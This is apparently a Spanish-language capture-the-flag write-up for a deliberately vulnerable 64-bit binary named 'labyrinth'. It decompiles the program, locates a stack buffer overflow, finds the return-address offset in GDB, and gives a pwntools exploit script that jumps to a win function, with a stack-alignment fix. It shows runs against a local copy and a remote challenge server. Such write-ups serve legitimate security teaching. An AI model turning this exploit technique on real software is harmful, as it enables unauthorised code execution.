Labyrinth
9 minutos de lectura
Se nos proporciona un binario de 64 bits llamado labyrinth
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
Ingeniería inversa
Si lo abrimos en Ghidra, veremos esta función main
en código C descompilado:
int main() {
int ret;
char *__s;
char data[32];
ulong i;
setup();
banner();
data._0_8_ = 0;
data._8_8_ = 0;
data._16_8_ = 0;
data._24_8_ = 0;
fwrite("\nSelect door: \n\n", 1, 0x10, stdout);
for (i = 1; i < 0x65; i = i + 1) {
if (i < 10) {
fprintf(stdout,"Door: 00%d ", i);
} else if (i < 100) {
fprintf(stdout,"Door: 0%d ", i);
} else {
fprintf(stdout,"Door: %d ", i);
}
if ((i % 10 == 0) && (i != 0)) {
putchar(L'\n');
}
}
fwrite("\n>> ", 1, 4, stdout);
__s = (char *) malloc(0x10);
fgets(__s, 5, stdin);
ret = strncmp(__s, "69" ,2);
if (ret != 0) {
ret = strncmp(__s, "069", 3);
if (ret != 0) goto LAB_004015da;
}
fwrite("\nYou are heading to open the door but you suddenly see something on the wall:\n\n\"Fly li ke a bird and be free!\"\n\nWould you like to change the door you chose?\n\n>> ", 1, 0xa0, stdout);
fgets(data, 68, stdin);
LAB_004015da:
fprintf(stdout,"\n%s[-] YOU FAILED TO ESCAPE!\n\n", &DAT_00402541);
return 0;
}
Necesitamos introducir 69
o 069
para llegar a otra entrada de usuario; de lo contrario, el programa saldrá:
$ ./labyrinth
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒-▸ ▒ ▒ ▒
▒-▸ ▒ O ▒ ▒
▒-▸ ▒ '|' ▒ ▒
▒-▸ ▒ / \ ▒ ▒
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▲△▲△▲△▲△▲△▒
Select door:
Door: 001 Door: 002 Door: 003 Door: 004 Door: 005 Door: 006 Door: 007 Door: 008 Door: 009 Door: 010
Door: 011 Door: 012 Door: 013 Door: 014 Door: 015 Door: 016 Door: 017 Door: 018 Door: 019 Door: 020
Door: 021 Door: 022 Door: 023 Door: 024 Door: 025 Door: 026 Door: 027 Door: 028 Door: 029 Door: 030
Door: 031 Door: 032 Door: 033 Door: 034 Door: 035 Door: 036 Door: 037 Door: 038 Door: 039 Door: 040
Door: 041 Door: 042 Door: 043 Door: 044 Door: 045 Door: 046 Door: 047 Door: 048 Door: 049 Door: 050
Door: 051 Door: 052 Door: 053 Door: 054 Door: 055 Door: 056 Door: 057 Door: 058 Door: 059 Door: 060
Door: 061 Door: 062 Door: 063 Door: 064 Door: 065 Door: 066 Door: 067 Door: 068 Door: 069 Door: 070
Door: 071 Door: 072 Door: 073 Door: 074 Door: 075 Door: 076 Door: 077 Door: 078 Door: 079 Door: 080
Door: 081 Door: 082 Door: 083 Door: 084 Door: 085 Door: 086 Door: 087 Door: 088 Door: 089 Door: 090
Door: 091 Door: 092 Door: 093 Door: 094 Door: 095 Door: 096 Door: 097 Door: 098 Door: 099 Door: 100
>> 69
You are heading to open the door but you suddenly see something on the wall:
"Fly like a bird and be free!"
Would you like to change the door you chose?
>>
Vulnerabilidad de Buffer Overflow
El binario es vulnerable a Buffer Overflow porque existe una variable llamada data
que tiene 32 bytes reservados como buffer, pero el programa utiliza fgets(data, 68, stdin)
y lee hasta 68 bytes de stdin
, sobrepasando el buffer reservado si la longitud de los datos de entrada es mayor que 32 bytes.
Podemos verificar que el programa se rompe en esta situación:
$ ./labyrinth
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒-▸ ▒ ▒ ▒
▒-▸ ▒ O ▒ ▒
▒-▸ ▒ '|' ▒ ▒
▒-▸ ▒ / \ ▒ ▒
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▲△▲△▲△▲△▲△▒
Select door:
Door: 001 Door: 002 Door: 003 Door: 004 Door: 005 Door: 006 Door: 007 Door: 008 Door: 009 Door: 010
Door: 011 Door: 012 Door: 013 Door: 014 Door: 015 Door: 016 Door: 017 Door: 018 Door: 019 Door: 020
Door: 021 Door: 022 Door: 023 Door: 024 Door: 025 Door: 026 Door: 027 Door: 028 Door: 029 Door: 030
Door: 031 Door: 032 Door: 033 Door: 034 Door: 035 Door: 036 Door: 037 Door: 038 Door: 039 Door: 040
Door: 041 Door: 042 Door: 043 Door: 044 Door: 045 Door: 046 Door: 047 Door: 048 Door: 049 Door: 050
Door: 051 Door: 052 Door: 053 Door: 054 Door: 055 Door: 056 Door: 057 Door: 058 Door: 059 Door: 060
Door: 061 Door: 062 Door: 063 Door: 064 Door: 065 Door: 066 Door: 067 Door: 068 Door: 069 Door: 070
Door: 071 Door: 072 Door: 073 Door: 074 Door: 075 Door: 076 Door: 077 Door: 078 Door: 079 Door: 080
Door: 081 Door: 082 Door: 083 Door: 084 Door: 085 Door: 086 Door: 087 Door: 088 Door: 089 Door: 090
Door: 091 Door: 092 Door: 093 Door: 094 Door: 095 Door: 096 Door: 097 Door: 098 Door: 099 Door: 100
>> 69
You are heading to open the door but you suddenly see something on the wall:
"Fly like a bird and be free!"
Would you like to change the door you chose?
>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[-] YOU FAILED TO ESCAPE!
zsh: segmentation fault (core dumped) ./labyrinth
El programa se rompe porque hemos modificado la dirección de retorno guardada y, cuando el programa intenta retornar, descubre que la dirección no es válida.
Como tenemos un binario de 64 bits sin canario, el offset necesario para desbordar el buffer y alcanzar la dirección de retorno es 40 (porque después de los 32 bytes reservados, se encuentra el valor guardado de $rbp
, y justo después, la instrucción de retorno guardada).
De todos modos, podemos usar un patrón en GDB para averiguar el offset:
$ gdb -q labyrinth
Reading symbols from labyrinth...
(No debugging symbols found in labyrinth)
gef➤ pattern create
[+] Generating a pattern of 1024 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaa
aaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaac
baaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaa
aaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaae
caaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaa
aaaf
[+] Saved as '$_gef0'
gef➤ run
Starting program: ./labyrinth
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒-▸ ▒ ▒ ▒
▒-▸ ▒ O ▒ ▒
▒-▸ ▒ '|' ▒ ▒
▒-▸ ▒ / \ ▒ ▒
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▲△▲△▲△▲△▲△▒
Select door:
Door: 001 Door: 002 Door: 003 Door: 004 Door: 005 Door: 006 Door: 007 Door: 008 Door: 009 Door: 010
Door: 011 Door: 012 Door: 013 Door: 014 Door: 015 Door: 016 Door: 017 Door: 018 Door: 019 Door: 020
Door: 021 Door: 022 Door: 023 Door: 024 Door: 025 Door: 026 Door: 027 Door: 028 Door: 029 Door: 030
Door: 031 Door: 032 Door: 033 Door: 034 Door: 035 Door: 036 Door: 037 Door: 038 Door: 039 Door: 040
Door: 041 Door: 042 Door: 043 Door: 044 Door: 045 Door: 046 Door: 047 Door: 048 Door: 049 Door: 050
Door: 051 Door: 052 Door: 053 Door: 054 Door: 055 Door: 056 Door: 057 Door: 058 Door: 059 Door: 060
Door: 061 Door: 062 Door: 063 Door: 064 Door: 065 Door: 066 Door: 067 Door: 068 Door: 069 Door: 070
Door: 071 Door: 072 Door: 073 Door: 074 Door: 075 Door: 076 Door: 077 Door: 078 Door: 079 Door: 080
Door: 081 Door: 082 Door: 083 Door: 084 Door: 085 Door: 086 Door: 087 Door: 088 Door: 089 Door: 090
Door: 091 Door: 092 Door: 093 Door: 094 Door: 095 Door: 096 Door: 097 Door: 098 Door: 099 Door: 100
>> 69
You are heading to open the door but you suddenly see something on the wall:
"Fly like a bird and be free!"
Would you like to change the door you chose?
>> aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaaz
aaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaa
aacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadb
aaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaa
aaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafc
aaaaaaf
[-] YOU FAILED TO ESCAPE!
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401602 in main ()
gef➤ pattern offset $rsp
[+] Searching for '$rsp'
[+] Found at offset 56 (little-endian search) slikely
[+] Found at offset 49 (big-endian search)
Función objetivo
Mirando nuevamente el código fuente descompilado, hay una función llamada escape_plan
que muestra el archivo flag.txt
cuando se llama:
void escape_plan() {
ssize_t length;
char c;
int fd;
putchar(10);
fwrite(&DAT_00402018, 1, 0x1f0, stdout);
fprintf(stdout, "\n%sCongratulations on escaping! Here is a sacred spell to help you continue your journey : %s\n", &DAT_0040220e, &DAT_00402209);
fd = open("./flag.txt", 0);
if (fd < 0) {
perror("\nError opening flag.txt, please contact an Administrator.\n\n");
/* WARNING: Subroutine does not return */
exit(1);
}
while (true) {
length = read(fd, &c, 1);
if (length < 1) break;
fputc((int) c, stdout);
}
close(fd);
}
Entonces, explotaremos la vulnerabilidad del Buffer Overflow y llamaremos a esta función para resolver el reto.
Desarrollo del exploit
Usemos el siguiente código para explotar el binario:
#!/usr/bin/env python3
from pwn import *
context.binary = 'labyrinth'
def get_process():
if len(sys.argv) == 1:
return context.binary.process()
host, port = sys.argv[1].split(':')
return remote(host, port)
def main():
p = get_process()
offset = 56
junk = b'A' * offset
payload = junk
payload += p64(context.binary.sym.escape_plan)
p.sendlineafter(b'>> ', b'69')
p.sendlineafter(b'>> ', payload)
print(p.recvall().decode())
if __name__ == '__main__':
main()
Si lo ejecutamos, no mostrará la flag de prueba:
$ python3 solve.py
[*] './labyrinth'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[+] Starting local process './labyrinth': pid 122363
[+] Receiving all data: Done (532B)
[*] Process './labyrinth' stopped with exit code -11 (SIGSEGV) (pid 122363)
[-] YOU FAILED TO ESCAPE!
\O/
|
/ \
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒-▸ ▒ ▒ ▒
▒-▸ ▒ ▒ ▒
▒-▸ ▒ ▒ ▒
▒-▸ ▒ ▒ ▒
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▲△▲△▲△▲△▲△▒
Depurando el exploit
Para analizar lo que está sucediendo, podemos añadir esta instrucción para agregar GDB al proceso:
gdb.attach(p, 'continue')
Al ejecutarlo, el programa se rompe y se detiene en una instrucción movaps
:
$ python3 solve.py
[*] './labyrinth'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[+] Starting local process './labyrinth': pid 125780
[*] running in new terminal: ['/usr/bin/gdb', '-q', './labyrinth', '125780', '-x', '/tmp/pwniwtf3hpq.gdb']
[+] Waiting for debugger: Done
[°] Receiving all data: 532B
gef➤ x/i $rip
=> 0x7f11c69f6693: movaps XMMWORD PTR [rsp+0x40],xmm0
gef➤ p/x $rsp
$2 = 0x7ffe79e99be8
Esta instrucción requiere que la pila se alinee a 16 bits (es decir, el valor de $rsp
debe terminar en 0
para ser un múltiplo de 16). Podemos resolver este problema de alineación de la pila (stack alignment) utilizando un gadget ret
justo antes de llamar a escape_plan
. Para esto, usaremos ROPgadget
:
$ ROPgadget --binary labyrinth | grep ': ret$'
0x0000000000401016 : ret
Este valor en el payload resolverá el problema:
ret_addr = 0x401016
payload = junk
payload += p64(ret_addr)
payload += p64(context.binary.sym.escape_plan)
Ahora funciona en local:
$ python3 solve.py
[*] './labyrinth'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[+] Starting local process './labyrinth': pid 130317
[+] Receiving all data: Done (657B)
[*] Process './labyrinth' stopped with exit code -11 (SIGSEGV) (pid 130317)
[-] YOU FAILED TO ESCAPE!
\O/
|
/ \
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒-▸ ▒ ▒ ▒
▒-▸ ▒ ▒ ▒
▒-▸ ▒ ▒ ▒
▒-▸ ▒ ▒ ▒
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▲△▲△▲△▲△▲△▒
Congratulations on escaping! Here is a sacred spell to help you continue your journey:
HTB{f4k3_fl4g_4_t35t1ng}
Flag
Entonces, intentemos de forma remota:
$ python3 solve.py 64.227.41.83:30884
[*] './labyrinth'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[+] Opening connection to 64.227.41.83 on port 30884: Done
[+] Receiving all data: Done (655B)
[*] Closed connection to 64.227.41.83 port 30884
[-] YOU FAILED TO ESCAPE!
\O/
|
/ \
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒-▸ ▒ ▒ ▒
▒-▸ ▒ ▒ ▒
▒-▸ ▒ ▒ ▒
▒-▸ ▒ ▒ ▒
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▲△▲△▲△▲△▲△▒
Congratulations on escaping! Here is a sacred spell to help you continue your journey:
HTB{3sc4p3_fr0m_4b0v3}
El código del exploit completo está aquí: solve.py
.